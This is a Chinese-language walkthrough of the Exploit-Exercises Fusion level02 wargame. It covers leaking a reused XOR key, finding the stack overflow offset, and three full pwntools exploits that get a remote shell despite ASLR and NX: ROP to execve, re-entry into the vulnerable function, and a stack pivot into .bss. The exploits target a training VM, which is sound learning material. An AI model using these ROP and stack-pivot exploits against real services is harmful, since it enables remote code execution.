从Exploit-Exercises Fusion Level02看linux绕过ASLR和NX的三种利用方式

题目来源:https://exploit-exercises.com/fusion/level02/

Vulnerability Type Stack
Position Independent Executable No
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification No

程序开启了ASLR和NX,漏洞程序源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
static int keyed;
static unsigned int keybuf[XORSZ];

int blocks;
unsigned int *blahi, j;

if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
close(fd);
keyed = 1;
}

blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;

for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
}
}

void encrypt_file()
{
// http://thedailywtf.com/Articles/Extensible-XML.aspx
// maybe make bigger for inevitable xml-in-xml-in-xml ?
unsigned char buffer[32 * 4096];

unsigned char op;
size_t sz;
int loop;

printf("[-- Enterprise configuration file encryption service --]\n");

loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {
case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}

}

int main(int argc, char **argv, char **envp)
{
int fd;
char *p;

background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);

encrypt_file();
}

看着这buffer也太大了,有点吓,我总结了三点

  1. 首先我们不输入Q是不会退出的
  2. buffer的长度是我们指定的,肯定能溢出
  3. key虽然是随机的,但是只生成一次(因为是static变量),而且最后会输出buffer,那就可以泄露key的可能

0x01 泄露key

直接发128个0xff过去,回来再异或一下就可以获取key了,当然你发其他的也可以,比如A,B,C,D,E,F,G,记得回来异或一下就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def getkey(p):
key = ""

p.recvuntil(STRING1)
p.send("E")

data = "\xff" * 128
p.send(p32(len(data)))
p.send(data)

# print recvuntil(s, 120)
p.recvuntil(STRING2)
keylen = u32(p.recv(4))
tmp_key = p.recv(128)

for x in xrange(0,128):
key += chr(ord(tmp_key[x]) ^ 0xff)
# print(keylen)
return key

0x02开始利用

总的思路是利用read函数将/bin/sh字符串写到一个不变的地址(一般是.bss),再调用execve,或者system什么的

0x02.1定位溢出点:

首先我们得定位溢出地址,buffer很大,好像直接用字符串定位不太好使,但我们可以在加密前调试查看

1
2
>>> 32 * 4096
131072

buffer这么大的话,我们用131000个A,再加上100个peda生成的吧(pattern_create 100)

发送如下:

1
data = "A" * 131000 + "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL"

我们在read完的下一行下断点,因为这里用ebp来索引,查看ebp+4的地址即为返回地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ b *0x08049891
Breakpoint 1 at 0x8049891: file level02/level02.c, line 49.
gdb-peda$ c
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]


Breakpoint 1, encrypt_file () at level02/level02.c:49
49 level02/level02.c: No such file or directory.
in level02/level02.c
gdb-peda$ x $ebp + 4
0xbf98158c: 0x414b4141
gdb-peda$

所以用peda看一下,偏移为88,所以最终为131000 + 88 = 131088

1
2
gdb-peda$ pattern_offset 0x414b4141
1095450945 found at offset: 88

0x02.2找可写地址,函数plt等地址, 构造写入

要写入binsh,首先看看哪里可写(看内存属性),一般bss段可写的,下面就印证了,地址为0x804b420

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb-peda$ maintenance info sections 
Exec file:
`/opt/fusion/bin/level02', file type elf32-i386.
0x8048134->0x8048147 at 0x00000134: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048148->0x8048168 at 0x00000148: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048168->0x804818c at 0x00000168: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804818c->0x80481cc at 0x0000018c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80481cc->0x80484ac at 0x000001cc: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80484ac->0x8048607 at 0x000004ac: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048608->0x8048664 at 0x00000608: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048664->0x8048694 at 0x00000664: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8048694->0x80486bc at 0x00000694: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80486bc->0x80487ec at 0x000006bc: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
0x80487ec->0x804881a at 0x000007ec: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048820->0x8048a90 at 0x00000820: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8048a90->0x8049a0c at 0x00000a90: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8049a0c->0x8049a26 at 0x00001a0c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x8049a28->0x8049ec0 at 0x00001a28: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8049ec0->0x8049f7c at 0x00001ec0: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x8049f7c->0x804a274 at 0x00001f7c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
0x804b274->0x804b27c at 0x00002274: .init_array ALLOC LOAD DATA HAS_CONTENTS
0x804b27c->0x804b284 at 0x0000227c: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x804b284->0x804b28c at 0x00002284: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x804b28c->0x804b290 at 0x0000228c: .jcr ALLOC LOAD DATA HAS_CONTENTS
0x804b290->0x804b368 at 0x00002290: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x804b368->0x804b36c at 0x00002368: .got ALLOC LOAD DATA HAS_CONTENTS
0x804b36c->0x804b410 at 0x0000236c: .got.plt ALLOC LOAD DATA HAS_CONTENTS
0x804b410->0x804b418 at 0x00002410: .data ALLOC LOAD DATA HAS_CONTENTS
0x804b420->0x804b500 at 0x00002418: .bss ALLOC
0x0000->0x29f4 at 0x00002418: .stab READONLY HAS_CONTENTS
0x0000->0x9111 at 0x00004e0c: .stabstr READONLY HAS_CONTENTS
0x0000->0x002a at 0x0000df1d: .comment READONLY HAS_CONTENTS

或者查看ida的program Segmentation(shift+f7),或者像下面那样看内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@fusion:~# cat /proc/3885/maps 
08048000-0804b000 r-xp 00000000 07:00 75275 /opt/fusion/bin/level02
0804b000-0804c000 rw-p 00002000 07:00 75275 /opt/fusion/bin/level02
b75f8000-b75f9000 rw-p 00000000 00:00 0
b75f9000-b776f000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b776f000-b7771000 r--p 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7771000-b7772000 rw-p 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7772000-b7775000 rw-p 00000000 00:00 0
b777f000-b7781000 rw-p 00000000 00:00 0
b7781000-b7782000 r-xp 00000000 00:00 0 [vdso]
b7782000-b77a0000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b77a0000-b77a1000 r--p 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b77a1000-b77a2000 rw-p 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
bf961000-bf982000 rw-p 00000000 00:00 0 [stack]

喜欢什么用什么

接下来我们找read的plt表,为什么用plt呢,可能got表还没初始化吧(不过好像plt也是跳到got先的),其实got表应该也可以,有空可以试试

read的plt表为0x08048860(用ida或者pwntools可以获得),got表 0x0804B384

execve的plt地址080489B0,got表地址 0x0804B3D8

那么我们最终构造的栈应该如下,由于我们应多次利用,所以我们的retn应重新回到漏洞函数encrypt_file或者其他我们可控的地址

131088个填充 + read_plt + retn + 0 + bss_addr + 8

上面即调用了read(0, bss_addr, 8)

0x02.3执行binsh

可能的3种利用思路(方法):

  1. read后,直接pop 3个参数后调用execve(binsh,NULL,NULL)
  2. read后,回到漏洞函数继续同样的溢出重新利用,有时会覆盖环境变量导致执行失败,不过这里没有
  3. read后,栈翻转,将栈指针指向.bss段,在bss段进行rop

但是第一次发现第一个个方式都不行,经过一段漫长时间的调试,终于发现了我的key接收少了,应该recv(128),本来我写了32(因为当初一看那个数组是32,下意识就写了recv(32)),哎,找错真是费时间啊

下面尝试这三种思路

方法1

写入binsh后,直接popread的3个参数后调用execve(binsh,NULL,NULL)

覆盖的构造如下,完整利用代码看下一行

1
payload = "A" * 131088 + p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(len(binsh)) + p32(execve_plt) + "A"*4 + p32(bss_addr) + p32(bss_null_addr) + p32(bss_null_addr)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: utf-8 -*-
from pwn import *

binsh = "/bin/sh\x00"
bss_addr = 0x0804B420
bss_null_addr = 0x804b430
STRING1 = "encryption service --]\n"
STRING2 = "staff to retrieve your file --]\n"

def getkey(p):
key = ""

p.recvuntil(STRING1)
p.send("E")

data = "\xff" * 128
p.send(p32(len(data)))
p.send(data)

# print recvuntil(s, 120)
p.recvuntil(STRING2)
keylen = u32(p.recv(4))
tmp_key = p.recv(128)

for x in xrange(0,128):
key += chr(ord(tmp_key[x]) ^ 0xff)
# print(keylen)
return key

def encrypt_payload(payload, key):
payload_len = len(payload)
result = ""
for x in xrange(0,payload_len):
result += chr(ord(payload[x]) ^ ord(key[x % len(key)]))
return result

def write_binsh(p , key):
read_plt = 0x08048860
pop3_ret = 0x08048f85
execve_plt = 0x080489B0
payload = "A" * 131088 + p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss_addr) + p32(len(binsh)) + p32(execve_plt) + "A"*4 + p32(bss_addr) + p32(bss_null_addr) + p32(bss_null_addr)
payload_len = len(payload)
payload = encrypt_payload(payload, key)
p.send("E")
p.send(p32(payload_len))
p.send(payload)
p.recvuntil(STRING2)
writelen = u32(p.recv(4))
print writelen
writed_str = p.recv(writelen)
p.send("Q")
return writed_str

host = "192.168.52.141"
port = 20002
p = remote(host, port)
# raw_input()
key = getkey(p)
str = write_binsh(p, key)
p.send(binsh)
p.interactive()

方法2

完整的上面已给,只给重点变的部分
先调用write_binsh,写一个binsh字符串,之后回到encrypt_file漏洞函数,再次溢出调用execve(binsh,NULL,NULL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def write_binsh(p , key):
read_plt = 0x08048860
encrypt_file = 0x80497f7
payload = "A" * 131088 + p32(read_plt) + p32(encrypt_file) + p32(0) + p32(bss_addr) + p32(len(binsh))
payload_len = len(payload)
payload = encrypt_payload(payload, key)
p.send("E")
p.send(p32(payload_len))
p.send(payload)
p.recvuntil(STRING2)
writelen = u32(p.recv(4))
print writelen
writed_str = p.recv(writelen)
p.send("Q")
return writed_str

def exec_binsh(p, key):
execve_plt = 0x080489B0
exit_plt = 0x08048960
payload = "A" * 131088 + p32(execve_plt) + p32(exit_plt) + p32(bss_addr) + p32(bss_null_addr)+ p32(bss_null_addr)
payload_len = len(payload)
payload = encrypt_payload(payload, key)
p.send("E")
p.send(p32(payload_len))
p.send(payload)
p.recvuntil(STRING2)
writelen = u32(p.recv(4))
print writelen
writed_str = p.recv(writelen)
p.send("Q")
return writed_str

方法3

好像这方法叫栈翻转,就是栈指针不再指向本来的栈空间,我们控制它指向我们可以控制的内存,比如这里我们让其指向bss段首地址

我们找到如下的小组件,如0x08048b13,我们在其后放bss地址,就可以将bss段首地址复制给ebp,如果我们再有将ebp赋值给esp再ret的就完美了,那就是leave;ret,我们用rp++找一下,选了下面两个

1
2
0x08048b13: pop ebp ; ret  ;  (1 found)
0x08048b96: leave ; ret ; (1 found)

我们看看第一个payload,先将bss保存到ebp,之后调用read吸入bss_addr,read的返回地址为leave_ret(调用完read,ebp的值没变),之后leave_ret相当于mov esp,ebp;pop ebp; ret

1
payload = "A" * 131088 + p32(pop_ebp_ret) + p32(bss_addr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(200)

由于上面 leave_ret有个pop ebp,所以我们写入的时候要有填充,4个A,execve_plt后面返回地址比较随便,好一点的话就搞个exit的函数咯

1
payload2 = "A" * 4 + p32(execve_plt) + "A" * 4 + p32(binsh_addr) + p32(null_addr) + p32(null_addr) + binsh

exp核心:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def write_binsh(p , key):
read_plt = 0x08048860
execve_plt = 0x080489B0
pop3_ret = 0x08048f85
pop_ebp_ret = 0x08048b13
leave_ret = 0x08048b96
null_addr = 0x804b470
payload = "A" * 131088 + p32(pop_ebp_ret) + p32(bss_addr) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(200)
payload_len = len(payload)
payload = encrypt_payload(payload, key)
p.send("E")
p.send(p32(payload_len))
p.send(payload)
p.recvuntil(STRING2)
writelen = u32(p.recv(4))
print writelen
writed_str = p.recv(writelen)
p.send("Q")
binsh_addr = 0x804b438
payload2 = "A" * 4 + p32(execve_plt) + "A" * 4 + p32(binsh_addr) + p32(null_addr) + p32(null_addr) + binsh
p.send(payload2)
return writed_str
打赏专区